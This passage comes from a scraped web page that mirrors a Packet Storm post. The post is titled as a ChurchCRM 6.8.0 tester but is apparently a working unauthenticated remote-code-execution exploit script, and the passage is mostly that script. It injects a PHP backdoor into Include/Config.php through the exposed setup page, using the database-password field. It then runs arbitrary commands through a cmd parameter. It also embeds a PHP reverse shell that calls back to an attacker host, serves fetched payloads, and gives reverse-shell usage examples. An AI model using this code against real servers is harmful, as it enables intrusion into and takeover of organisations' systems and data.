{self.lport};\\n    \\n    if (function_exists(&#8216;fsockopen&#8217;) \\u0026\\u0026 function_exists(&#8216;proc_open&#8217;)) {{\\n        $sock = @fsockopen($lhost, $lport);\\n        if ($sock) {{\\n            $descriptors = array(\\n                0 =\\u003e $sock,\\n                1 =\\u003e $sock,\\n                2 =\\u003e $sock\\n            );\\n            $process = proc_open((PHP_OS == &#8216;WINNT&#8217; ? &#8216;cmd&#8217; : &#8216;\/bin\/sh&#8217;), $descriptors, $pipes);\\n            proc_close($process);\\n        }}\\n    }}\\n    \\n    if (function_exists(&#8216;socket_create&#8217;) \\u0026\\u0026 function_exists(&#8216;proc_open&#8217;)) {{\\n        $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);\\n        if ($sock \\u0026\\u0026 @socket_connect($sock, $lhost, $lport)) {{\\n            $descriptors = array(\\n                0 =\\u003e $sock,\\n                1 =\\u003e $sock,\\n                2 =\\u003e $sock\\n            );\\n            $process = proc_open((PHP_OS == &#8216;WINNT&#8217; ? &#8216;cmd&#8217; : &#8216;\/bin\/sh&#8217;), $descriptors, $pipes);\\n            proc_close($process);\\n        }}\\n    }}\\n    ?\\u003e\\&#8221;\\&#8221;\\&#8221;\\n        \\n        def inject_backdoor(self) -\\u003e bool:\\n            \\&#8221;\\&#8221;\\&#8221;Inject backdoor via setup page\\&#8221;\\&#8221;\\&#8221;\\n            self.logger.info(\\&#8221;Injecting backdoor into Include\/Config.php&#8230;\\&#8221;)\\n            \\n            payload = self.build_payload()\\n            \\n            post_data = {\\n                &#8216;DB_SERVER_NAME&#8217;: random_string(8),\\n                &#8216;DB_SERVER_PORT&#8217;: &#8216;3306&#8217;,\\n                &#8216;DB_NAME&#8217;: random_string(8),\\n                &#8216;DB_USER&#8217;: random_string(6),\\n                &#8216;DB_PASSWORD&#8217;: payload,\\n                &#8216;ROOT_PATH&#8217;: &#8216;\/&#8217;,\\n                &#8216;URL&#8217;: random_url()\\n            }\\n            \\n            self.logger.debug(f\\&#8221;POST data prepared (password field contains payload)\\&#8221;)\\n            \\n            try:\\n                url = safe_urljoin(self.target.url, &#8216;\/setup\/&#8217;)\\n                self.logger.debug(f\\&#8221;Sending POST to {url}\\&#8221;)\\n                \\n                response = self.session.post(\\n                    url,\\n                    data=post_data,\\n                    timeout=TIMEOUT,\\n                    verify=self.verify_ssl,\\n                    allow_redirects=False\\n                )\\n                \\n                if response.status_code == 200:\\n                    self.logger.info(\\&#8221;Backdoor injected successfully!\\&#8221;)\\n                    self.backdoor_injected = True\\n                    return True\\n                else:\\n                    self.logger.error(f\\&#8221;Injection failed with HTTP {response.status_code}\\&#8221;)\\n                    return False\\n                    \\n            except RequestException as e:\\n                self.logger.error(f\\&#8221;Injection request failed: {e}\\&#8221;)\\n                return False\\n        \\n        def execute_command(self, cmd: str) -\\u003e Optional[str]:\\n            \\&#8221;\\&#8221;\\&#8221;Execute command on target\\&#8221;\\&#8221;\\&#8221;\\n            if not self.backdoor_injected:\\n                self.logger.warning(\\&#8221;Backdoor not injected yet. Attempting injection&#8230;\\&#8221;)\\n                if not self.inject_backdoor():\\n                    self.logger.error(\\&#8221;Cannot execute command: backdoor injection failed\\&#8221;)\\n                    return None\\n            \\n            self.logger.info(f\\&#8221;Executing command: {cmd}\\&#8221;)\\n            \\n            try:\\n                url = safe_urljoin(self.target.url, &#8216;\/&#8217;)\\n                self.logger.debug(f\\&#8221;Command URL: {url}?cmd={quote(cmd)}\\&#8221;)\\n                \\n                response = self.session.get(\\n                    url,\\n                    params={&#8216;cmd&#8217;: cmd},\\n                    timeout=TIMEOUT,\\n                    verify=self.verify_ssl\\n                )\\n                \\n                if response.status_code == 200:\\n    \\n                    output = response.text.strip()\\n    \\n                    if &#8216;\\u003chtml&#8217; in output.lower():\\n    \\n                        body_match = re.search(r&#8217;\\u003cbody[^\\u003e]*\\u003e(.*?)\\u003c\/body\\u003e&#8217;, output, re.S | re.I)\\n                        if body_match:\\n                            output = body_match.group(1).strip()\\n    \\n                        output = re.sub(r&#8217;\\u003c[^\\u003e]+\\u003e&#8217;, &#8216; &#8216;, output)\\n                        output = re.sub(r&#8217;\\\\s+&#8217;, &#8216; &#8216;, output).strip()\\n                    \\n                    return output\\n                else:\\n                    self.logger.error(f\\&#8221;Command execution failed with HTTP {response.status_code}\\&#8221;)\\n                    return None\\n                    \\n            except RequestException as e:\\n                self.logger.error(f\\&#8221;Command execution request failed: {e}\\&#8221;)\\n                return None\\n        \\n        def cleanup(self) -\\u003e bool:\\n            \\&#8221;\\&#8221;\\&#8221;Clean up &#8211; remove backdoor\\&#8221;\\&#8221;\\&#8221;\\n            if not self.backdoor_injected:\\n                self.logger.debug(\\&#8221;No backdoor to clean up\\&#8221;)\\n                return True\\n            \\n            self.logger.info(\\&#8221;Cleaning up&#8230;\\&#8221;)\\n    \\n            commands = [\\n                &#8216;rm -f Include\/Config.php&#8217;,\\n                &#8216;rm Include\/Config.php&#8217;,\\n                &#8216;rm -f churchcrm\/Include\/Config.php&#8217;,\\n                &#8216;del \/f Include\\\\\\\\Config.php&#8217;,\\n                &#8216;php -r \\&#8221;unlink(\\\\&#8217;Include\/Config.php\\\\&#8217;);\\&#8221;&#8216;,\\n                &#8216;php -r \\&#8221;unlink(\\\\&#8217;churchcrm\/Include\/Config.php\\\\&#8217;);\\&#8221;&#8216;\\n            ]\\n            \\n            success = False\\n            for cmd in commands:\\n                result = self.execute_command(cmd)\\n                if result is not None:  # Command executed (even if file doesn&#8217;t exist)\\n                    self.logger.debug(f\\&#8221;Cleanup command executed: {cmd}\\&#8221;)\\n                    success = True\\n            \\n            if success:\\n                self.logger.info(\\&#8221;Cleanup completed\\&#8221;)\\n                self.backdoor_injected = False\\n            else:\\n                self.logger.warning(\\&#8221;Cleanup may have failed\\&#8221;)\\n            \\n            return success\\n        \\n        def run_cmd_stager(self, cmd: str) -\\u003e Tuple[bool, Optional[str]]:\\n            \\&#8221;\\&#8221;\\&#8221;Run command stager\\&#8221;\\&#8221;\\&#8221;\\n            output = self.execute_command(cmd)\\n            return (output is not None, output)\\n        \\n        def run_php_memory(self) -\\u003e Tuple[bool, Optional[str]]:\\n            \\&#8221;\\&#8221;\\&#8221;Run PHP in-memory payload\\&#8221;\\&#8221;\\&#8221;\\n            self.logger.info(\\&#8221;Executing PHP in-memory payload&#8230;\\&#8221;)\\n    \\n            try:\\n                url = safe_urljoin(self.target.url, &#8216;\/&#8217;)\\n                self.logger.debug(f\\&#8221;Triggering payload via GET to {url}\\&#8221;)\\n                \\n                response = self.session.get(url, timeout=TIMEOUT, verify=self.verify_ssl)\\n                \\n                if response.status_code == 200:\\n                    self.logger.info(\\&#8221;PHP payload executed successfully\\&#8221;)\\n    \\n                    return (True, response.text[:500] + \\&#8221;&#8230;\\&#8221; if len(response.text) \\u003e 500 else response.text)\\n                else:\\n                    self.logger.error(f\\&#8221;PHP execution failed with HTTP {response.status_code}\\&#8221;)\\n                    return (False, None)\\n                    \\n            except RequestException as e:\\n                self.logger.error(f\\&#8221;PHP execution request failed: {e}\\&#8221;)\\n                return (False, None)\\n        \\n        def run_php_fetch(self) -\\u003e Tuple[bool, Optional[str]]:\\n            \\&#8221;\\&#8221;\\&#8221;Run PHP fetch payload\\&#8221;\\&#8221;\\&#8221;\\n            self.logger.info(\\&#8221;Executing PHP fetch payload&#8230;\\&#8221;)\\n    \\n            self.payload_server = PayloadServer(self.logger, host=&#8217;0.0.0.0&#8242;)\\n            \\n            if self.custom_payload:\\n                payload = self.custom_payload\\n            else:\\n                payload = self._generate_reverse_shell()\\n            \\n            try:\\n                server_url = self.payload_server.start(payload)\\n                self.logger.info(f\\&#8221;Serving payload from {server_url}\\&#8221;)\\n    \\n                time.sleep(2)\\n    \\n                if self.inject_backdoor():\\n                    self.logger.info(\\&#8221;Waiting for payload request&#8230;\\&#8221;)\\n    \\n                    if self.payload_server.wait_for_requests(timeout=30):\\n                        self.logger.info(\\&#8221;Payload was fetched by target\\&#8221;)\\n    \\n                        time.sleep(5)\\n                        success = True\\n                    else:\\n                        self.logger.warning(\\&#8221;No payload request received\\&#8221;)\\n                        success = False\\n                else:\\n                    success = False\\n                \\n                return (success, None)\\n                \\n            finally:\\n                self.payload_server.stop()\\n        \\n        def exploit(self) -\\u003e ExploitResult:\\n            \\&#8221;\\&#8221;\\&#8221;Main exploit method\\&#8221;\\&#8221;\\&#8221;\\n            self.logger.info(f\\&#8221;Starting exploit against {self.target.url}\\&#8221;)\\n            self.logger.info(f\\&#8221;Target type: {self.target_type.value}\\&#8221;)\\n    \\n            check_result = self.check()\\n            \\n            if check_result[&#8216;code&#8217;] == CheckCode.UNREACHABLE:\\n                return ExploitResult(\\n                    success=False,\\n                    message=f\\&#8221;Target unreachable: {check_result[&#8216;message&#8217;]}\\&#8221;\\n                )\\n            \\n            if check_result[&#8216;code&#8217;] == CheckCode.SAFE:\\n                return ExploitResult(\\n                    success=False,\\n                    message=check_result[&#8216;message&#8217;]\\n                )\\n    \\n            if not self.inject_backdoor():\\n                return ExploitResult(\\n                    success=False,\\n                    message=\\&#8221;Failed to inject backdoor\\&#8221;\\n                )\\n    \\n            success = False\\n            output = None\\n            \\n            if self.target_type == TargetType.LINUX_CMD_STAGER:\\n                if self.custom_payload:\\n                    success, output = self.run_cmd_stager(self.custom_payload)\\n                else:\\n    \\n                    success, output = self.run_cmd_stager(&#8216;id&#8217;)\\n                    if success and output:\\n                        self.logger.info(f\\&#8221;Command output: {output.strip()}\\&#8221;)\\n            \\n            elif self.target_type == TargetType.PHP_MEMORY:\\n                success, output = self.run_php_memory()\\n            \\n            elif self.target_type == TargetType.PHP_FETCH:\\n                success, output = self.run_php_fetch()\\n    \\n            self.cleanup()\\n            \\n            return ExploitResult(\\n                success=success,\\n                message=\\&#8221;Exploit completed successfully\\&#8221; if success else \\&#8221;Exploit failed\\&#8221;,\\n                target=self.target,\\n                output=output\\n            )\\n    \\n    \\n    def main():\\n        \\&#8221;\\&#8221;\\&#8221;Main entry point\\&#8221;\\&#8221;\\&#8221;\\n        parser = argparse.ArgumentParser(\\n            description=&#8217;ChurchCRM Unauthenticated RCE Exploit by indoushka&#8217;,\\n            formatter_class=argparse.RawDescriptionHelpFormatter,\\n            epilog=\\&#8221;\\&#8221;\\&#8221;\\n    Examples:\\n      # Check vulnerability\\n      %(prog)s http:\/\/target.com\/churchcrm &#8211;check\\n      \\n      # Execute command\\n      %(prog)s http:\/\/target.com &#8211;cmd \\&#8221;id\\&#8221;\\n      \\n      # Reverse shell (Linux)\\n      %(prog)s http:\/\/target.com &#8211;reverse 192.168.1.100 4444\\n      \\n      # Reverse shell with PHP fetch method\\n      %(prog)s http:\/\/target.com &#8211;type php-fetch &#8211;reverse 192.168.1.100 4444\\n      \\n      # Custom PHP payload\\n      %(prog)s http:\/\/target.com &#8211;payload \\&#8221;\\u003c?php phpinfo(); ?\\u003e\\&#8221;\\n      \\n      # With proxy and debug\\n      %(prog)s http:\/\/target.com &#8211;check &#8211;proxy http:\/\/127.0.0.1:8080 &#8211;debug\\n      \\n    Exit codes:\\n      0 &#8211; Not vulnerable \/ Success\\n      1 &#8211; Error \/ Unknown\\n      2 &#8211; Vulnerable\\n            \\&#8221;\\&#8221;\\&#8221;\\n        )\\n        \\n        parser.add_argument(&#8216;target&#8217;, help=&#8217;Target URL (e.g., http:\/\/target.com\/churchcrm)&#8217;)\\n    \\n        parser.add_argument(&#8216;&#8211;check&#8217;, action=&#8217;store_true&#8217;, help=&#8217;Check if target is vulnerable&#8217;)\\n        parser.add_argument(&#8216;&#8211;cmd&#8217;, metavar=&#8217;COMMAND&#8217;, help=&#8217;Execute command&#8217;)\\n        parser.add_argument(&#8216;&#8211;reverse&#8217;, nargs=2, metavar=(&#8216;LHOST&#8217;, &#8216;LPORT&#8217;), \\n                          help=&#8217;Reverse shell (LHOST LPORT)&#8217;)\\n        parser.add_argument(&#8216;&#8211;payload&#8217;, metavar=&#8217;CODE&#8217;, help=&#8217;Custom PHP payload&#8217;)\\n        parser.add_argument(&#8216;&#8211;payload-file&#8217;, metavar=&#8217;FILE&#8217;, help=&#8217;PHP payload file&#8217;)\\n        parser.add_argument(&#8216;&#8211;type&#8217;, choices=[&#8216;linux&#8217;, &#8216;php-memory&#8217;, &#8216;php-fetch&#8217;], \\n                           default=&#8217;linux&#8217;, help=&#8217;Target type (default: linux)&#8217;)\\n        parser.add_argument(&#8216;&#8211;proxy&#8217;, help=&#8217;HTTP proxy (e.g., http:\/\/127.0.0.1:8080)&#8217;)\\n        parser.add_argument(&#8216;&#8211;no-verify&#8217;, action=&#8217;store_true&#8217;, help=&#8217;Disable SSL verification&#8217;)\\n        parser.add_argument(&#8216;&#8211;debug&#8217;, action=&#8217;store_true&#8217;, help=&#8217;Enable debug output&#8217;)\\n        parser.add_argument(&#8216;&#8211;no-discover&#8217;, action=&#8217;store_true&#8217;, \\n                           help=&#8217;Disable automatic path discovery&#8217;)\\n        \\n        args = parser.parse_args()\\n    \\n        logger = setup_logger(args.debug)\\n    \\n        if not any([args.check, args.cmd, args.reverse, args.payload, args.payload_file]):\\n            logger.error(\\&#8221;No action specified. Use &#8211;help for usage.\\&#8221;)\\n            sys.exit(1)\\n    \\n        target_type_map = {\\n            &#8216;linux&#8217;: TargetType.LINUX_CMD_STAGER,\\n            &#8216;php-memory&#8217;: TargetType.PHP_MEMORY,\\n            &#8216;php-fetch&#8217;: TargetType.PHP_FETCH\\n        }\\n        target_type = target_type_map[args.type]\\n    \\n        payload = None\\n        if args.payload:\\n            payload = args.payload\\n        elif args.payload_file:\\n            try:\\n                with open(args.payload_file, &#8216;r&#8217;) as f:\\n                    payload = f.read()\\n            except Exception as e:\\n                logger.error(f\\&#8221;Failed to read payload file: {e}\\&#8221;)\\n                sys.exit(1)\\n    \\n        try:\\n            exploit = ChurchCRMExploit(\\n                target_url=args.target,\\n                logger=logger,\\n                target_type=target_type,\\n                lhost=args.reverse[0] if args.reverse else None,\\n                lport=int(args.reverse[1]) if args.reverse else None,\\n                payload=payload,\\n                verify_ssl=not args.no_verify,\\n                proxy=args.proxy,\\n                auto_discover=not args.no_discover\\n            )\\n        except Exception as e:\\n            logger.error(f\\&#8221;Failed to initialize exploit: {e}\\&#8221;)\\n            if args.debug:\\n                import traceback\\n                traceback.print_exc()\\n            sys.exit(1)\\n    \\n        try:\\n            if args.check:\\n                result = exploit.check()\\n                if result[&#8216;code&#8217;] == CheckCode.VULNERABLE:\\n                    logger.warning(f\\&#8221;Target is VULNERABLE! Version: {result.get(&#8216;version&#8217;, &#8216;unknown&#8217;)}\\&#8221;)\\n                    sys.exit(2)\\n                elif result[&#8216;code&#8217;] == CheckCode.SAFE:\\n                    logger.info(\\&#8221;Target is NOT vulnerable\\&#8221;)\\n                    sys.exit(0)\\n                else:\\n                    logger.warning(f\\&#8221;Unknown status: {result[&#8216;message&#8217;]}\\&#8221;)\\n                    sys.exit(1)\\n            \\n            elif args.cmd:\\n                logger.info(f\\&#8221;Executing command: {args.cmd}\\&#8221;)\\n    \\n                if exploit.target_type != TargetType.LINUX_CMD_STAGER:\\n                    logger.warning(f\\&#8221;Switching target type from {exploit.target_type.value} to linux_cmd_stager\\&#8221;)\\n                    exploit.target_type = TargetType.LINUX_CMD_STAGER\\n                \\n                result = exploit.exploit()\\n                if result.success and result.output:\\n                    print(\\&#8221;\\\\n\\&#8221; + \\&#8221;=\\&#8221;*60)\\n                    print(\\&#8221;COMMAND OUTPUT:\\&#8221;)\\n                    print(\\&#8221;=\\&#8221;*60)\\n                    print(result.output)\\n                    print(\\&#8221;=\\&#8221;*60)\\n                elif result.success:\\n                    print(\\&#8221;\\\\nCommand executed successfully (no output)\\&#8221;)\\n                else:\\n                    logger.error(f\\&#8221;Command execution failed: {result.message}\\&#8221;)\\n                    sys.exit(1)\\n            \\n            elif args.reverse:\\n                logger.info(f\\&#8221;Attempting reverse shell to {args.reverse[0]}:{args.reverse[1]}\\&#8221;)\\n    \\n                if args.type == &#8216;php-fetch&#8217;:\\n                    exploit.target_type = TargetType.PHP_FETCH\\n                elif args.type == &#8216;php-memory&#8217;:\\n                    exploit.target_type = TargetType.PHP_MEMORY\\n                else:\\n                    exploit.target_type = TargetType.LINUX_CMD_STAGER\\n                \\n                result = exploit.exploit()\\n                \\n                if result.success:\\n                    logger.info(\\&#8221;Reverse shell payload sent. Check your listener!\\&#8221;)\\n                    if result.output:\\n                        print(f\\&#8221;\\\\nOutput: {result.output}\\&#8221;)\\n                else:\\n                    logger.error(f\\&#8221;Reverse shell failed: {result.message}\\&#8221;)\\n                    sys.exit(1)\\n            \\n            else:\\n                result = exploit.exploit()\\n                if result.success:\\n                    logger.info(\\&#8221;Exploit completed successfully!\\&#8221;)\\n                    if result.output:\\n                        print(f\\&#8221;\\\\nOutput: {result.output}\\&#8221;)\\n                else:\\n                    logger.error(f\\&#8221;Exploit failed: {result.message}\\&#8221;)\\n                    sys.exit(1)\\n        \\n        except KeyboardInterrupt:\\n            logger.info(\\&#8221;Interrupted by user\\&#8221;)\\n            sys.exit(130)\\n        except Exception as e:\\n            logger.error(f\\&#8221;Unexpected error: {e}\\&#8221;)\\n            if args.debug:\\n                import traceback\\n                traceback.print_exc()\\n            sys.exit(1)\\n    \\n    \\n    if __name__ == &#8216;__main__&#8217;:\\n        main()\\n    \\t\\t\\n    Greetings to :======================================================================\\n    jericho * Larry W. Cashdollar * r00t * Hussin-X * Malvuln (John Page aka hyp3rlinx)|\\n    ====================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/215793&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/215793\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-02-18T17:38:11&#8243;,&#8221;description&#8221;:&#8221;ChurchCRM versions 6.8.0 and earlier expose the installation setup endpoint without proper access restrictions. If the setup process remains accessible after deployment, it may allow&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-41409","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 ChurchCRM 6.8.0 Information Disclosure Tester_PACKETSTORM:215793 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=41409\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 ChurchCRM 6.8.0 Information Disclosure Tester_PACKETSTORM:215793 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-02-18T17:38:11&#8243;,&#8221;description&#8221;:&#8221;ChurchCRM versions 6.8.0 and earlier expose the installation setup endpoint without proper access restrictions. If the setup process remains accessible after deployment, it may allow...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=41409\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-02-18T12:49:57+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"27 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41409#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41409\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 ChurchCRM 6.8.0 Information Disclosure Tester_PACKETSTORM:215793\",\"datePublished\":\"2026-02-18T12:49:57+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41409\"},\"wordCount\":5396,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41409#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41409\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41409\",\"name\":\"\ud83d\udcc4 ChurchCRM 6.8.0 Information Disclosure Tester_PACKETSTORM:215793 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-02-18T12:49:57+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41409#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=41409\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=41409#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 ChurchCRM 6.8.0 Information Disclosure Tester_PACKETSTORM:215793\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 ChurchCRM 6.8.0 Information Disclosure Tester_PACKETSTORM:215793 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=41409","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 ChurchCRM 6.8.0 Information Disclosure Tester_PACKETSTORM:215793 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-02-18T17:38:11&#8243;,&#8221;description&#8221;:&#8221;ChurchCRM versions 6.8.0 and earlier expose the installation setup endpoint without proper access restrictions. If the setup process remains accessible after deployment, it may allow...","og_url":"https:\/\/zero.redgem.net\/?p=41409","og_site_name":"zero redgem","article_published_time":"2026-02-18T12:49:57+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"27 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=41409#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=41409"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 ChurchCRM 6.8.0 Information Disclosure Tester_PACKETSTORM:215793","datePublished":"2026-02-18T12:49:57+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=41409"},"wordCount":5396,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=41409#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=41409","url":"https:\/\/zero.redgem.net\/?p=41409","name":"\ud83d\udcc4 ChurchCRM 6.8.0 Information Disclosure Tester_PACKETSTORM:215793 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-02-18T12:49:57+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=41409#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=41409"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=41409#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 ChurchCRM 6.8.0 Information Disclosure Tester_PACKETSTORM:215793"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero 